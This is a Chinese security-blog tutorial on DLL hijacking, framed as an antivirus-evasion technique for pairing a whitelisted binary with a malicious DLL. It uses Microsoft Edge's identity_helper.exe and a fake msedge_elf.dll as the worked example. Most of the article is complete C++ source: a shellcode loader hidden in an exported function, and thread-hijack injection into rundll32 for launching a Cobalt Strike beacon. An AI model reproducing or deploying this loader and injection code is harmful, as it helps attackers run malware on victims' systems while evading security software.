点击蓝字 关注我们
日期:2024/08/15
作者:Corl
介绍:DLL劫持挖掘。
0x00 前言
白加黑的方式(DLL
劫持)可以对抗360
核晶,白就是此文件在杀软的白名单中,不会被杀软查杀,黑就是我们自己编写的带恶意代码的dll
文件,那么怎么进行白加黑的挖掘呢?
0x01 DLL劫持原理
首先来理解DLL
在Windows
系统中的作用,DLL
全称Dynamic Link Library
,称为动态链接库,在Windows
系统中,大多数程序并不是一个单独的可执行文件,而是有一些单独的存放动态链接库在系统中,当需要某些功能时,通过DLL
执行相应的功能,即DLL
调用。
那么既然程序执行某些功能时,可能会通过DLL
调用,从利用角度来看,如果替换了这个DLL
文件,或则导出了原DLL
的导出函数并恶意构造,在原程序运行时调用了我们预先构造好的恶意DLL
,那么就达到了劫持的效果。
0x02 DLL加载顺序
Windows 7
之后:微软为了更进一步的防御系统的DLL
被劫持,将一些容易被劫持的系统DLL
写进了一个注册表项中,那么凡是此项下的DLL
文件就会被禁止从EXE
自身所在的目录下调用,而只能从系统目录即SYSTEM32
目录下调用。KnownDLLs
列表,注册表查询如下:
reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs"
加载顺序:
1.EXE所在目录
2.当前目录
3.系统目录(C:WindowsSystem32目录)
4.Windows目录(C:Windows)
5.环境变量PATH所包含的目录
0x03 Dll劫持挖掘
首先,把想要劫持的exe
拖到一个空的文件夹中。如果想查看所加载的dll
,最简单的方法就是直接去双击exe
,如果缺少dll
,那么就会进行弹框提示,但是这种方法并不可以找到全部所加载的dll
文件。双击运行identity_helper.exe
,会提示找不到msedge_elf.dll
。
第二种方法就是使用process Monitor Filter
,该工具可以看到运行该exe
所加载的全部dll
文件。运行process Monitor Filter
工具,添加过滤条件。
对identity_helper.exe
进程进行监控,重点关注程序所在目录的dll
,可以看见缺少msedge_elf.dll
、dbghelp.dll
、WINMM.dll
。
使用CFF Explorer
工具,打开identity_helper.exe
,查看文件位数以及导入目录。这里以劫持msedge_elf.dll
为例,点击msedge_elf.dll
就可以看到该dll
存在GetInstallDetailsPayload
、SignalInitializeCrashReporting
导出函数。
自定义GetInstallDetailsPayload
、SignalInitializeCrashReporting
函数。
extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}
使用MessageBox
进行弹框,看看该exe
是否使用了该函数,如果使用了该函数,那么程序运行的时候就会弹框。分别在GetInstallDetailsPayload
、SignalInitializeCrashReporting
、dllmain
中添加。
MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);
MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);
MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);
代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
extern "C" __declspec(dllexport) void GetInstallDetailsPayload(){
MessageBox(NULL, TEXT("1"), TEXT("1"), MB_OK);
}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {
MessageBox(NULL, TEXT("1"), TEXT("2"), MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
MessageBox(NULL, TEXT("1"), TEXT("3"), MB_OK);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
可以看出首先运行的是dllmain
中的,然后再是GetInstallDetailsPayload
,其次是SignalInitializeCrashReporting
。
既然在dllmain
和GetInstallDetailsPayload
、SignalInitializeCrashReporting
中都会执行,首先在dllmain
中添加恶意代码,进行上线测试。
unsigned char payload[] = {shellcode};
void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, payload, sizeof(payload));
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
双击运行identity_helper.exe
,可见identity_helper.exe
已经在运行中了。
但是cs
并没有上线,为啥呢???
因为dllmain
存在死锁问题,那么怎么解决dllmain
死锁问题呢,就是使用导出函数上线。
把恶意代码复制进GetInstallDetailsPayload
函数中,运行identity_helper.exe
成功上线。
完整代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {
unsigned char payload[] = {shellcode};
void* p = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, payload, sizeof(payload));
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
那么,除了使用导出函数上线,dllmain
就没有办法上线了吗???
这肯定不是的,如果要想使用dllmain
进行上线,可以使用进程注入或线程劫持的方式上线,但都不是在原进程上线。这里采用线程劫持的方式上线的方式上线,x64
劫持的就是rip
,x86
劫持的就是eip
,劫持的进程为rundll32
。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
extern "C" __declspec(dllexport) void GetInstallDetailsPayload() {
}
extern "C" __declspec(dllexport) void SignalInitializeCrashReporting() {}
unsigned char payload[] = {shellcode};
SIZE_T payload_len = sizeof(payload);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(NULL, (LPSTR)"rundll32", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID Buffer = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, Buffer, payload, payload_len, NULL);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)Buffer;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
0x04 总结
DLL
劫持上线分为两种,一种是dllmain
上线,但是会存在死锁问题,要想在dllmain
上线,可以使用进程注入或线程劫持的方式,另一种就是导出函数上线。除了手动去进行挖掘DLL
劫持,那么还可以尝试使用工具去进行挖掘,最后祝大家挖到好用的白加黑。
原文始发于微信公众号(宸极实验室):『免杀系列』DLL劫持